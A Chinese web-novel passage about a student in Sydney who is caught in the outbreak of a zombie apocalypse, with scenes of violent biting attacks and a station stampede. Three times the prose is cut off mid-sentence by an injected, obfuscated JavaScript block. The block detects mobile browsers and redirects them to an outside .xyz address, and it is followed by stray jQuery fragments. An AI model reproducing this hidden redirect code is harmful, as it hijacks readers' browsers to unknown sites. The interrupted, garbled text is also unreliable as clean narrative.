《袋鼠国留子丧尸末日自救指南》
1. 活人微死
悉尼时间晚上8点15分。
在一间安静,窄小,昏暗的学生公寓房间内,一个人影塌着腰,坐在书桌前,昏黄的台灯和发光的屏幕照亮了她浓重的黑眼圈,一股冲泡咖啡的油腻香味从她手边的杯子里散发开。
嗒嗒,低沉敲击的键盘敲击声时不时响起,她扶了扶眼镜,撑着脑袋,英文字符和各种论文网站的标题反光在眼镜片上。
她喝了口咖啡,叹了口气,看了眼左下角的字数,又叹了口气,把电脑合上了。
她把另一条腿也盘上了椅子,颓废而萎靡的靠在椅背上打开了手机,习惯性的点开了某绿色社交软件,上面有一个红色的小点写着1。
让她失望的是,没人找她,甚至不是步数消息。她又喝了口咖啡,满口的苦味,但是管他呢。她随意刷了刷,发现那个红色的小点1来自于置顶的家族群的群内艾特。
片刻后,她惊奇地扶了扶眼镜,家族群【平平淡淡才是真】里竟然热火朝天的聊了999+。
这很少见,她的七大姑八大姨都是忙碌的生意人,群里一般都是她爸转发的营销号,并且随机艾特一个亲戚出来评价,她基本不看家族群,反正都是些“养生之道在于晨”“养育小孩你需要知道的三件小事”等毫无营养的内容。
她挑了挑眉,点进去一路翻到艾特她的地方。
【@程水不喝水水儿那里下雨了吗?】
好几条黄字大写加粗的视频号危言耸听的写着“2000年后最大暴雨”“x地突发洪涝”,程水点开看了眼,触目惊心的滚滚大浪淹没了房子,许多人站在平房顶或者阳台等待救援,配上紧张的背景音乐,看着十分严重。
她皱着眉往下翻聊天记录,国内竟然连着一周都在暴雨,并且她们家附近的城市还发生了地震,震感波及到她们市,虽然只是轻微摇晃了一会儿,也让此生从未经历过任何天灾人祸的程水紧张了一把。
不仅是地震,她继续翻着聊天记录,洪涝和干旱居然同时发生了,而且还出现了气候的极端反常,本来9月份是秋天,理应慢慢变的凉爽,结果她家所在的城市这两天一路飙升到40度,晚上又重归几度。
国内发生这样严重的事情,她完全不知道。一点都不知道。
她打开好久不用的微博,发现热搜头条果然全部围绕着暴雨地震等反常气候。
昏暗的房间里,程水放下手机,揉了揉眼眶,仰望天花板。
她到澳洲留学已经超过半年了,2月份开学,现在是9月份,中间她一次都没有回国过。刚到澳洲的两个月,她从不缺席国内的任何热点新闻,各种热梗都跟得上,直到6月份,考完了第一次final,她才彻底和国内的一切脱节。
不是完全不知道国内发生了什么,而是她会延迟很久才知道,不打开手机用国内的软件,她对国内的现状就一无所知。
她不是故意的,而是大学的压力实在是意料之外的大,程水花了很大的力气才能保证自己完全跟上大学的速度。
她重新打开手机,继续刷着家族群里的消息。大概聊了几十条,好几个亲戚忧心忡忡的讨论着航班取消,上班路上的交通遭受暴雨影响,不多时,聊天群的内容就歪了,之后的999+跟暴雨什么的已经完全不搭边了。
【@山高水长呵呵,姐夫什么时候到上海?等不及喝一顿了哦】
【(偷笑)(捂嘴笑)喝不了喝不了,最近身体不行啊,喝酒伤身哦】
【呵呵,姐夫的身体那是自然(大拇指)(大拇指),出什么问题了?】
【@山高水长大哥考虑用一下我新买的艾草贴,这个用完,肚子暖暖的舒服(大拇指)(玫瑰)】
【多少钱?我在拼多多买的艾草贴没有效果哦】
【@清风二哥到上海了没有?一起喝一顿啊】
【@山高水长不要在拼多多买,我有一个朋友专门卖这种的,我帮你定一箱试试】
程水无语片刻,不信邪地往下一直划。
999+条消息,除了开头的那几十条,后面的全部是家长里短,她爸,也就是群里的山高水长,已经兴冲冲的和她三姨聊起了保养之法,她姨夫更是,已经约了群里不少亲戚在上海组个局喝酒了。
她沉默片刻,安慰地想,至少群里这么轻松惬意,不像是被暴雨特别影响的样子,看来国内这次的状况也是看着严重,实际还在可控范围,家里这边也还是平常的模样。
这么想着,她放下心来,在小某书转发了几条极端情况如何自救的视频到和父母的小群里之后,把手机倒扣在桌面,继续打开电脑奋斗。
20分钟之后。
“啊啊啊啊!!我受不了了!”刺啦一声桌椅移动的声音,程水呼啦啦站起来,电脑被啪地关上,她揉了揉眼睛,来到洗手间,用冷水扑簌簌冲着脸。
抬起头,镜子里反射出一张憔悴到极致的脸庞,双眼无神,脸颊浮肿,黑眼圈更是青黑无比,怨气简直要突破天际。
程水默默地凝视着镜子,深吸了一口气,在心里辱骂了设置deadline的unitcoordinator几百遍,开始琢磨如何申请作业延期提交。
烦!
她走出厕所,打开学生公寓配的小冰箱,里面几乎空空荡荡,她翻翻找找,发现居然连全麦面包和鸡蛋都没了,晚饭再吃一次火鸡面,她的灵魂和肠胃就真的要去世了。
呼噜了一把头发,看了眼时间,最近的超市晚上9:30关门,现在出发正好能赶上特价打折商品。
她抓起随意耷拉在椅子上的外套,拿起手机出门。
叮——
程水一边刷着手机一边走进电梯,里面正好有人,她随意抬眼,不小心和人对视上了。那瞬间二人都很尴尬,程水把外套的帽子套上,缩在电梯的角落,把头埋进手机里。旁边的人也往外靠了靠,谁都没出声。
程水租的学生公寓在北悉尼,离悉尼不管哪个大学都不远,上到麦考瑞,下到悉大,都有可能租在这,程水也不大认识学生公寓里的人,只有几个邻居偶尔一块约着打车。
留学生来来去去更新换代太快了,还没来得及和人建立什么情感,那人说不定就回国了,建立了感情也是浪费,更别提程水这种社恐了。
电梯里的人程水也眼生的很,看这黑外套黑裤子黑背包黑眼镜,她只能刻板印象猜测一下是否是从图书馆夜归的计算机专业的苦命人。
令她出乎意料的是,全黑套装的兄弟在电梯到达G层时主动和她打了个招呼:“……是中国人吗?”
电梯门开的一瞬间,程水汗颜,这句话竟然酝酿了这么久吗?
“……嗯。”她只能点头。
全黑哥:“我从火车站出来的时候看到外面有几个怪怪的人,差点袭击我……你小心一点吧……没事如果没有的话当我没说……不好意思。”
程水已经一脚踏出电梯门了,闻言,她再次抬头,和全黑哥对视的那一刹那,善良好心但社恐的光芒全部尽收眼底,她还没来得及道谢,全黑哥已经消失在紧闭的电梯门后。
北悉尼这一块还算安全,只不过晚上会有成群结队的青少年定时刷新在火车站附近,围坐在一团烟雾缭绕,或者乱扔酒瓶哈哈大笑,看着就不大正常。
刚到悉尼的程水晚上和新认识的课友聚餐,回来的时候是真的吓了一跳,半年过去,也算习惯了,路过的时候帽子拉低假装盲人,从没遇过危险。
全黑哥的提醒,程水也只是想,可能这帮青少年今天吸了什么危险的东
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586106|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
西,并不打算原路返回。
学生公寓离火车站有一段路程,但是离超市只有两分钟,过个街就能到,她回来的时候小心一点,如果有大喊大叫,动作迟缓疯癫的人就赶紧小跑回公寓楼,只有刷卡才能进的楼里安全很多。
悉尼九月份的晚风清凉,树叶被吹的簌簌响动,昏黄的路灯底下散落着塑料袋和酒瓶。
程水裹紧衣服,快步走到红绿灯处,正打算低头看手机,她的余光扫到了某处奇怪的阴影。
一团模糊而诡异的黑影在树丛的深处……蠕动着。
在树影婆娑间隐隐绰绰,像个高大的人趴伏在地面,动作奇异,四肢仿佛扭曲地伸展着,随着树丛晃动若隐若现。
程水心脏骤然收紧,警惕地回头,紧张的观察了片刻。
远处,一个踢着酒瓶的白人男子,一边嘟嘟囔囔地骂着什么,一边从街尾走到路灯下,胡子拉碴,满眼的血丝,身上的衣服皱皱巴巴的,不知道是不是从火车站来的流浪汉,用着程水听不太懂的澳洲乡村口音骂着街。
流浪汉醉醺醺地路过了那块令程水警惕的黑色阴影,揉了揉眼睛,一脚踢了上去。
此时,红绿灯变为绿灯,程水没有多余的好奇心,赶紧转头匆匆过了马路,一路冲进了明亮的超市里。
————
超市内的灯光明亮且温暖。
只剩下一个收银员百无聊赖的靠在收银台后面,剩下的店员应该都在清点货物。零星几个客人推着购物车,在琳琅满目的货架旁走走停停。程水猛冲进自动门内,一边呼气一边摘下帽子,从门口拿了个购物篮。
她一脸嫌弃的挑开上面的菜叶子,拎着购物篮从奶制品开始逛起。离超市关门还有差不多半个小时,程水一向不是纠结的人,她走走停停,除了看保质期,她几乎不怎么犹豫踌躇。不多时,扔了一瓶牛奶,酸奶,一小盒鸡蛋和两袋打折的面包进购物篮。
快关门的时候有不少白天没卖出去的,又快到保质期的产品会打一定的折扣。澳洲的牛羊肉一直都很新鲜,她拿了点打折的肉沫和牛排,这些好做又快,油烟也少,学生公寓的电磁炉也够用。
要煸炒的猪肉,本来也腥,她干脆直接略过,买了点蔬菜和水果,购物篮就满了。
还剩下十五分钟,超市开始播报顾客要及时买单的提醒,程水又匆匆拿了点调味料,零食和饮料,直到她掂量了一下快提不动了才作罢。
超市可以用自动结款,程水自己扫着商品,又买了两个购物袋,担心了一会儿纸袋子会不会破,摸了又摸才付钱离开。
两个袋子装的很满,也很重,带子绷在手心,从结账处提到门口就能感觉到皮肤被勒红的麻木疼痛。程水深吸了一口气,努力提着袋子走出超市的自动门。
路灯把她的影子拉的很长,也很孤独。
9点多的悉尼很安静,明明在国内,这个时间是夜生活的开始,在悉尼就已经万物寂寥。程水来久悉尼后经常会开始感慨环境的不一样,越这么想,孤独感就越是涌上心头。
一个人晚上出来超市买东西,一个人在异国他乡提着东西回去,一个人想明天后天吃什么,永远都是一个人。
程水停在路灯下等红绿灯,复杂的心绪弥漫在脑海中,她深深叹了一口气,摇了摇头,在绿灯时匆匆过斑马线。
快要到公寓门口时,她想起了什么,往公寓楼旁边的树丛看去。
昏黄的灯光下树影晃动,只剩几个踩的扁扁的啤酒罐随意的散落在地上,那蠕动着的巨大黑影也不见踪影,阴影处漆黑一片,流浪汉也消失不见。
程水狐疑地观察了片刻,直到一阵冷风吹过,激起她一阵鸡皮疙瘩,她才赶忙刷卡进入公寓。
……还是少管闲事吧。
2. 留子的孤苦生活
昨晚的小插曲并未让程水上心。
悉尼比这离谱的事情大把了去,这点事她是不放在心里的。
她回家后简单啃了顿面包,很快便洗漱一番稀里糊涂睡了。第二天早上她被闹钟吵醒,房间里还是昏暗一片,伴随着阵阵冷风,她一边刷牙一边拉起百叶窗,外面乌云密布,阴冷的空气从窗户的缝隙间钻进来。
“啊,看来要下雨了。”程水漱了口,皱着眉把电脑放进包里,叹着气从柜子里拿出雨伞,嘟嘟囔囔地说:“干什么这是,要赶超英国吗?又下雨……”
她打开一袋面包,急匆匆的煎了个蛋,挖了勺牛油果酱上去,一边吃一边快速穿鞋,在关门的最后一秒冲进早晨拥挤的电梯。
外面果然稀稀拉拉的下起了小雨,这种连绵不断的细雨是最烦的,浑身都湿湿潮潮,伞微微湿了只能用手拎着,不能放进包里,地面哪里都是湿黏的鞋印子和泥点子。
程水沉默而烦躁的赶路,她要搭乘最近的一班火车到市中心,再转战公交,坐三四站路到大学旁边,走十分钟到要上课的楼,上一节两个小时的记出勤讲座,再原路返回。
北悉尼是大站,来来往往的上班族和学生拥挤着进入站台,人们戴着耳机,低头看手机表情冷漠,几乎没人发出声音或是聊天。程水收起伞,刷卡进站,因为满地都是湿滑的泥鞋印,她一个踉跄,差点一手撑在地上。
……这该死的……
她闭了闭眼,随着人群坐上火车,找了个角落坐下。
车厢门滴滴响起,红灯亮起提醒关门。程水总算松了口气,至少接下来二十分钟她可以安心坐着不用动了。
十分钟后。
程水急切的左右来回看。
还没发车!
为什么!
为什么!!!
她深呼吸几次,打开小某书,点击附近开始猛刷。
过了会儿,好几条帖子写着【海港大桥卧轨自杀】【有人要跳桥吗?火车又停了……】【下雨影响轨道运行,悉尼火车再停运】进入了程水的视线。
她握着手机的手隐隐冒出了青筋。
她随便点进一条帖子。
【标题:海港大桥你又不通行哈……
内容:有人知道发生了什么吗?正在海港大桥上堵车中,十几分钟没动过了,问了前面的车主,似乎警察把路封锁了,估计还要再堵一个小时……】
三张配图照片分别是堵的严严实实的大桥道路,黑压压的乌云和帖主的迈巴赫车内方向盘自拍。
评论:
“有病吗配图就配图装什么b”
“靠我也正在堵,已经发消息给老板申请今天workingfromhome了”
“又发什么病了悉尼交通我请问呢……我今天还考试(哭泣)(哭泣)要赶不上了”
“悉尼北部完全不通车啊,我去,在CW等发车快半小时了,无语。。。”
“早上新闻好像说有人卧轨吧?”
程水震惊地挑起眉毛,点开最后一条评论的跟随评论。
“啊?我没看到新闻说卧轨啊?(惊恐)(流汗)”
“还是有人自杀?我找不到了。”
“是这个吧?(图片:海港大桥突发意外袭击事件,悉尼警察封锁火车轨道)”
“讲的好含糊啊,什么袭击事件?枪击案?”
“好像有人伏击海港大桥的晨跑路人,一路打架,双双叫救护车。”
“那干嘛封火车轨道啊?又不可能把隔离的铁网撕了。”
“好像真撕了……”
“我草,假的吧。”
关于铁网的结实程度的争论还在继续,而程水已经没兴致再读下去了。她颓然的靠在车窗上,湿湿的雨伞贴着裤子,下了雨的憋闷气味席卷车厢,汗味,咳嗽声,烟味一刻不停的钻入鼻腔。她身上的衣服也因为潮而黏答答的,一股措手不及的丧气袭击了她本就烦躁的内心。
悉尼海港大桥是沟通悉尼北部与南部一座桥,不仅火车,地铁会通过海港大桥,行人也可以上桥,有专门的道路,普通轿车和公交车则从海港大桥的中间过。
除了这个大桥,悉尼几乎没有别的陆地公共交通可以从北边去往南边,如果海港大桥发生堵塞等任何交通问题,等于悉尼交通的大停摆。
理论上来说,悉尼官方应该花大力气维护海港大桥的交通,可惜,并没有,这座桥仍然三天两头出毛病。
而出了毛病,火车无法通行,该怎么办呢?
程水毫无意外的听到了车内广播,几乎所有单词她都没怎么听懂,只听懂了那句让所有乘客现在下车,随即,车厢门又滴滴滴的开启了。
是的,火车没法通行,那就不通行了,乘客赶紧下去吧。
程水拎起伞和包,内心已经无奈到无话可说,她看了眼手表,三步并作两步出了火车站,在阴雨连绵里找到了巴士站,开始无望的等待。
雨还在下,豆大的雨点似乎越演越烈,一阵突如其来的风差点呼啸着吹散程水的雨伞,她身后还排着一队的人,戴着兜帽或打着伞,满脸都是烦躁。湿冷的空气进入鼻腔,她吸了吸鼻子,擦了擦手机屏幕上的水,一边靠着巴士站的杆子一边一只手打字。
【杰西卡:你今天来上lecture吗?】
右上角手机屏幕显示了时间,离开始上课还有半个小时,不管她怎么赶都会迟到了。
Lecture是讲座大课,程水选的这门课讲的是生命和进化,今天的Lecture关于人类群体基因,理论上来说,Lecture只要不点名不计出勤就可以不用去,可惜程水倒霉的地方在于,严格的讲师硬性要求所有人必须出勤。
想到那名刁钻的老教师,程水用下巴和肩膀夹住雨伞杆,一边急切地打字:【去,海港大桥堵车,会迟到。】
【杰西卡:ok,我应该卡点,帮你占座】
【程水不喝水:ok。感谢。】
程水感恩地握紧手机,松了口气。杰西卡是他们这门课里她唯一认识的中国人,也是她的固定课友,本名似乎姓黄,叫黄什么……程水想半天还是想不起来。她和杰西卡是本学期开学凑巧认识的,杰西卡看到了她电脑上的蔬菜TV,主动和她打的招呼,慢慢一起上课,如今也是关系不错的同学。
但并不熟,看,她甚至不知道人家的中文名。这也是留学生一大困境,每个人的社交都保留了很大隐私,没有任何人能过多的参与自己的同学的生活,导致亲密度难以提升,难以获得像程水曾经在国内能获得的那种友谊,既亲密,又温暖。
程水一开始也有些不知所措,她在社交上一向很被动,失去了被迫亲密的环境后,她只能学着去适应这样的社交环境,包括和杰西卡的关系,她觉得自己已经非常热情,但似乎从有些隔阂难以打破。
收起伞,程水坐上姗姗来迟的公交车前往大学。
————
“来了?”杰西卡小幅度朝着刚进阶梯教室的程水挥手,等程水风尘仆仆的在身旁坐下,小声和她说:“还在下雨?”
“嗯。”程水点点头,拧了一把湿透了的裤子,皱着眉说:“越来越大了。”
她窸窸窣窣收拾的动作发出了些微声响,有几个人回头看她,程水缩着脖子,躲避着视线,把雨伞放进座位下,又拿出电脑。
在公交上一直有人咳嗽,咳个不停,嗓子像漏气的手风琴,动静惊天动地。程水全程在座位里缩成一团,她这种学生物的一想到咳嗽后唾沫满天飞又被吸入的场景就要晕了,密闭憋闷的公交内排气不善,好几个人在连续不断呼哧呼哧的咳嗽声中捂住了嘴鼻。
不知道是不是这个原因,程水总感觉浑身别扭,她清了清嗓子,打开教授提前发的材料。
“讲到哪里了?”
杰西卡正在低头x信聊天,闻言,抬头:“162页。”
程水震惊:“这么快?”
杰西卡:“你提前看材料了吗?今天有412页ppt要过,我怀疑她讲不完。”
台下的讲师显然是沉浸在自己的艺术里无法自拔了,声音时小时大,时而激昂,时而麻木,时而如蚊子叫。程水耐着性子听了一会儿,浑身湿粘的不适盖过了学习的热情,她如坐针毡。
“……DNA和RNA到蛋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586107|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白质的过程,正是信息在生命体中的传递方式,我们的外表,动作,行为和器官的功能,都要追溯到基因。每一次的复制和转录,都可能会带来变化,甚至只是一个微小的错误复制,都会彻底改变一个个体……”
“基因组与蛋白质组的变动,可能造成整个物种本质的改变!我们从达尔文开始,一直假设变化是缓慢的,是自然筛选出的产物,但,如果信息传递的过程被外物强行介入,或者重新编码,造成群体的大规模转录错误……”
有个同学坐在前排举起了手:“教授,什么样的情况会导致外物强行介入整个群体的DNA?”
程水百无聊赖的托着脸,鼻子有些发痒,她轻轻打了几个喷嚏。
教授停下高谈阔论,和善地回答:“我们之前学生物的时候都知道,由环境,或者DNA本身造成的突变因子只能影响个人的基因,再可能缓慢的传播给下一代。群体的基因突变,通常来说只有病毒,或者大规模的环境变化才能造成了。”
“什么样的大规模环境变化?”
另一个同学指了指窗外:“暴雨?”
小部分还在认真听课的人轻微笑了笑,教授微微笑起来:“如果大规模的暴雨,并且含有高强度的放射性物质,说不定呢。”
“所有人类都突然基因突变了,整个社会会变成什么样?”角落的一个同学举手。
“你是不是想说丧尸?”
Zombie这个词活跃了一部分因为暴雨而昏昏欲睡的同学,连杰西卡也从高强度的x信聊天里抬起头,问旁边的程水:“什么?为什么在说僵尸?”?
教授摊了摊手:“很可惜,这不是电影。”
阶梯教室里因为Zombie活跃了一阵,就继续沉寂下去。大部分人的电脑桌面都默默切换成了别的软件,在外面电闪雷鸣的大暴雨的背景音下默默摸鱼。程水默默听了一会儿,也坐不住了,拿出手机调整静音,低头刷小某书。
很快,一个帖子吸引了程水的注意力:
【悉尼大学发生暴力伤人事件#悉尼大学#澳洲#伤人…」
点开后:
【中午11点23分,悉尼大学校园内发生一起暴力伤人事件,嫌疑人是一名21岁的白人男子,据说是悉大工程学院的学生,在游泳馆外的小路突然袭击一名路人,造成受害者受伤昏迷,目前已被警方逮捕,受害者已被救护车带走。
太吓人了,希望伤者没事(双手合十),大家一定要注意安全!】
11点23分?这不是二十分钟前吗?算算时间,程水那时候恰好从游泳馆路过,后脚刚走,就发生了这样的暴力事件?!
帖主配了几张图,应该是现场拍的。
图1:警察封锁悉大游泳馆的警戒线。图2:白人男子的照片,像是社交媒体上的截图,一手搂着狗笑的很开朗。图3:现场血肉模糊的受害者打码图。
评论:
“天啊,这男的是我们专业的……他平常根本不像会暴力袭击别人的人啊,对所有人都超级友善啊!我们之前一个小组,我英文不好他还安慰我来着。”
“人不可貌相,内心真是个恶魔。”
“救命……去上课的时候正巧在现场,快吓吐了,这男的突然冲出来抓住我前面的人,我一开始还以为是朋友开玩笑,直到这男的一口咬掉了那人一块脸颊肉……我没开玩笑我看到骨头了,靠,我想吐。”
“我也在现场!!他冲上去抓着人家按倒,血都喷出来了我才注意到,最后受害者被送走的时候我大着胆子看了一下,露出来的胳膊和脸没一块好肉。他还想攻击警察!还好被电棍和枪放倒带走了。”
“这个时间都在去上课的路上,路上全是人,他疯了吧?!”
“悉尼最近不太平,大家注意安全。”
“感谢安慰,再也不走游泳馆去火车站那条路了。”
程水越往下翻评论,脸色就越凝重。她正是从火车站路过游泳馆,再走到要上课的教室的,不敢想象,如果她再晚五分钟,万一她遇到了……
她咽了口口水,真诚地在帖子底下跟着评论:“祝愿伤者没事。”
3. 咬人啦!!
下课后,阶梯教室里的人鱼贯而出,杰西卡和程水打了个招呼就先行离开了,程水看着她的背影,几次想抬手留下她一起去火车站都说不出口。
她停在出口,静静地看着外面的雨,急促的打在地面上,许多人结伴着打伞离开,想起上课时刷到的帖子,她其实很害怕,因为危险离她那么近,可内心的惶惶不安没有任何人能安慰她。
一股由内而外的孤独和无力笼罩了程水,她看了看外面阴沉沉的乌云,深吸一口气,打伞,走了另一条远路去火车站。
火车站,其实就类似国内的地铁站,站台承接了地铁和火车的双重功能。近年加修了货真价实的地铁(Metro)的站台,速度更快,更稳,因为没有司机暂时没有罢工而停线的风险,可惜线路有限,程水大学最近的站台还是只有慢一些的火车。
正因如此,这一大站在大雨倾盆时更是人满为患。
程水收了伞走进站台,余光瞥见站口好几个高大的特警,穿着制服插着兜,三两站在一起,严肃地盯着过路的人。
……估计是雨太大了,怕出事故吧。
程水没多想,她身上湿漉漉的,风又大,一路上一直狂打喷嚏,此刻早已精疲力尽,只想赶紧速度回家洗个澡赶紧躺下看剧。于是,她匆匆瞥了几眼特警们,就下到站台,等待火车。
站台里人声嘈杂,雨水顺着屋檐滴滴答答地砸在地上,混合着泥点和鞋印,把地面染的湿滑不已。空气里有着一股泥土和青草的腥气。
程水四周都是放学早的高中生和眼神涣散的大学生,每一个人都是疲惫而沉默地低头看着手机,或者看向火车来往的方向。
刺拉拉——
火车靠站了。
程水随着人群挤上了火车,找寻空位坐下。
火车缓慢开动,程水半靠在窗上,在咔哒咔哒,车轮开过铁轨的背景音里昏昏欲睡。雨滴持续不断地敲击着玻璃,空调开的闷热,程水半眯着眼睛,感知着火车的前进。
“下一站,市中心。”
北悉尼需要过桥,市中心这一站过去后,还有两站到海港大桥,过完桥后还有两三站。
火车渐渐慢下来,随着滴滴声,车厢门开启。程水旁边的人站起身,车厢里一下空了不少,不一会儿,在市中心上来的人填补了空缺,登时又人满为患起来。
程水套上兜帽,打开手机开始刷小某书。
不知过了多久,滴滴的关门声一直没有响起。
程水有丝不好的预感,她抬起头,这个角度刚好可以看见车厢门,依旧是打开的状态,也没有任何人上下车。
车厢内大家都很安静,似乎是习惯了悉尼火车不时的抽风,没人有任何表示抗议。
程水只好重新低头,焦躁不安地刷着小某书。正好,她又刷到了之前发给父母的帖子。
【三招教你在极端环境下自救…
宝宝们!极端情况下,我们作为普通人应该如何跑路呢?首先,我们应该先判断对方人数和位置,宝宝们注意听奇怪的声音,在无法立即脱离危险区域的情况下,宝宝们应该先找掩体哦,确保宝宝们的身体没有停留在对方的攻击范围内哦。
第二,宝宝们一定要注意躲避的掩体,可以往店铺中躲哦。比如有单独可以锁门的更衣室的服装店和有仓库的超市,宝宝们可以保持很好的隐蔽哦。
第三,宝宝们如若直面坏人,手边如果有可以投掷的武器,一定要使用哦!逃跑过程中,手边的一切都要利用起来哦!宝宝们加油加油!】
程水不知道自己是怎么读完的,她满脑子的宝宝们宝宝们,并且还自动脑补用台湾腔念出来……
她摇了摇头,心中愈发焦躁不安。在这个大暴雨,火车迟迟不开动的时刻,还刷到这么一篇教人如何逃生的帖子,怎么看都不是什么好预兆。
“……紧急情况……请所有乘客下车……重复……紧急情况…“
车内广播突然响了,伴随着红色的警戒灯,车厢里的人听到声音,一个接一个抬头四处张望着。程水心中一紧,她没想到一天之内遇到两次中途下车的事件,她也跟着四处张望,直到几个特警打扮的白人走进来,用警棍招呼着:“所有人立刻下车!立刻下车!”
程水不安地跟着人群离开车厢,人们拥挤着来到站台,她前面两个人还爆发了一场不大不小的摩擦,一个说别挤了,另一个说没挤,程水都没有耐心看热闹,她此刻的心七上八下的,已经不知如何是好了。
火车看来是没指望了,她准备离开市中心火车站打车回去。
上楼梯的时候,后面跟着从车厢离开的人群里忽然爆发了一阵惊呼,随即是特警的怒吼,紧接着是一声比一声高的尖叫。程水登时感受到背部被后面的人冲上来的挤压感,她差点站不稳倒在地上,她惊慌地稳住身体,转头去看——
密密麻麻的人头涌动着往前挤,而后面好几个特警围成一团,挥舞着警棍和拳头,与某个看不清的身影搏斗,那个身影似乎极其凶猛,甚至跳起来扑向其中一个较为矮小的特警,看上去又是一起暴力袭击事件。
程水赶紧回头,心脏跳上了180,在人流里努力往前移动,她呼吸急促,三步并作两步跑上楼梯。
她从来都只是在网上看过,从来没亲自到达过事故现场啊!那种惊悚的紧张感立刻缠上了她,程水努力挤开人群,谁知一楼,有更多人的正在往出口奔跑!
人太多了,程水没办法透过人群看发生了什么,她隐约听到了一连串快速的英文脏话,夹杂着几个她听的懂的单词:“疯了…咬人…有人死了…”
靠!
程水突然被一阵大力推翻在地,她吃痛地倒在地上,眼看着后面的脚就要踩在她身上,她赶紧连滚带爬的缩进墙边的死角。
几声极重的倒地砰声;惨叫声;怒骂声;人群脚步落地的沉重声音;惊呼声;血肉被撕扯的声音!
混乱,程水能感受到的只有混乱,她的心如鼓雷般跳动,脑中一片空白,倒地的脚腕还有些疼痛,不知道是不是扭伤,她没心情去关注了,她根本不知道发生了什么,只想活命的直觉比什么都重。
她扶着墙,努力地站了起来,跟着人群冲出了火车站,但没办法直接到达地面,因为市中心火车站的出口设立在地下,地面出口有至少四个,最近的出口…程水转头看去,立马看到一连串栽倒的人群,挥舞着手臂,在无力地抵抗着什么从地面出口进入的东西。
她心头一凉,只能放弃最近的出口,跟着人群直到进入维多利亚女王大厦的负一层。
维多利亚女王大厦是悉尼著名的景点之一,处于市中心,以复古的外表和商业中心为名,据说有百年历史,曾经的英国伊丽莎白女王住过,是个有名的打卡点。
也正因其历史悠久,商业发展极其繁华,负一层联通着市中心火车站,它和人们想象的窗明几净现代大商场不太一样————它极其逼仄。
长长的路偏窄,两边都是各式各样的小店,服装店,首饰店,咖啡店,手作店,肩并着肩,零零碎碎的卖品挂满了门面,挤挤攘攘,和暗色的装修配在一起,有种上世纪的眼花缭乱。
平时,维多利亚女王大厦的负一层就十分拥挤,各种游客和从火车站出去的路人经常把路堵的水泄不通,程水一向不喜欢来这,很多时候,她根本连正经出口在哪都找不着。
而此时,突发暴力事件,本就拥挤的负一层如同风暴时混乱的海水,四面八方的人群蜂拥而至,橱窗被撞的框框作响,程水跌跌撞撞地被挤在人流中间,在冲撞下艰难维持平衡,再这样下去,她恐怕会先死于踩踏。
砰砰——!
枪声响起,随即某处响起了如同野兽般狰狞的怒吼和惨叫。
程水心中一紧,冷汗直流,在惊惶失措中不知为何回忆起了那通篇“宝宝们”的帖子。她喃喃着:“……找掩体,找店铺……”她左右转头,四周都是那种店铺大小不足十平米的小店,根本没法称之为安全掩体,她感受着如雷的心跳,终于在一条岔路的标识上看到了厕所的符号。
她急切地挤开人群,冲进负一层的女厕。
曾经,她在肠鸣时暗自怒骂过厕所的过于隐蔽,但此刻,她无法不感谢维多利亚女王大厦的装修师傅和设计师,将厕所安排在正常人难以找到的位置,方便她临时躲藏。
慌乱的脚步声回荡在空旷的厕所,她忙乱的打开最角落的隔间,门砰地一甩,卡扣锁上,一脚踩上马桶,以一个极其尴尬的姿势蹲在了马桶上,一手扶着墙壁,在陈年的尿骚味和下水道的锈味里屏住呼吸。
她的胸口急切起伏,艰难的咽了口口水,侧耳细听外面的慌乱。
脱离了人群,在安静的厕所里,外面的混乱动静也更清晰的传进程水的耳廓。奔跑的脚步重重踩在地上的轰鸣声,孩子的哭喊声,尖叫和怒骂,都是那么的清楚。又过了好一阵,那些暴乱的脚步声缓缓消失,程水全程紧闭的呼吸才慢慢放松下来……
砰——!
“Fxck!啊!!!”
程水一口气还没松下去,又提了起来。她四肢僵硬的蹲在马桶上方,听到有重物倒地的声音清晰的从她的隔间外传来!有人栽倒在厕所的地上,还没等爬起来,又是什么东西粗暴的撞开了厕所的大门,嘶吼着和外面的人发生了厮打。
□□的撞击声,扭打,脏话,最后是高昂的痛苦尖叫和血肉从身体中被撕开的诡异声响。
程水头皮发麻,大气不敢出,维持着姿势,连手指头都不敢动。
惨叫声慢慢趋与平静,又过了一会儿,她听见某种野兽喉间咕哝的黏腻声响,厕所的大门又发出砰砰的声音。再等了片刻,彻底没有了任何声响。
程水憋的脸色通红,她克制不住的大喘气,眼间满是惊恐的泪花,她缓缓低头,看见一滩深黑红的粘稠血液蜿蜒进了她的隔间。
不知过了多久,连流进隔间的血都要变干了,程水才哆哆嗦嗦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586108|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
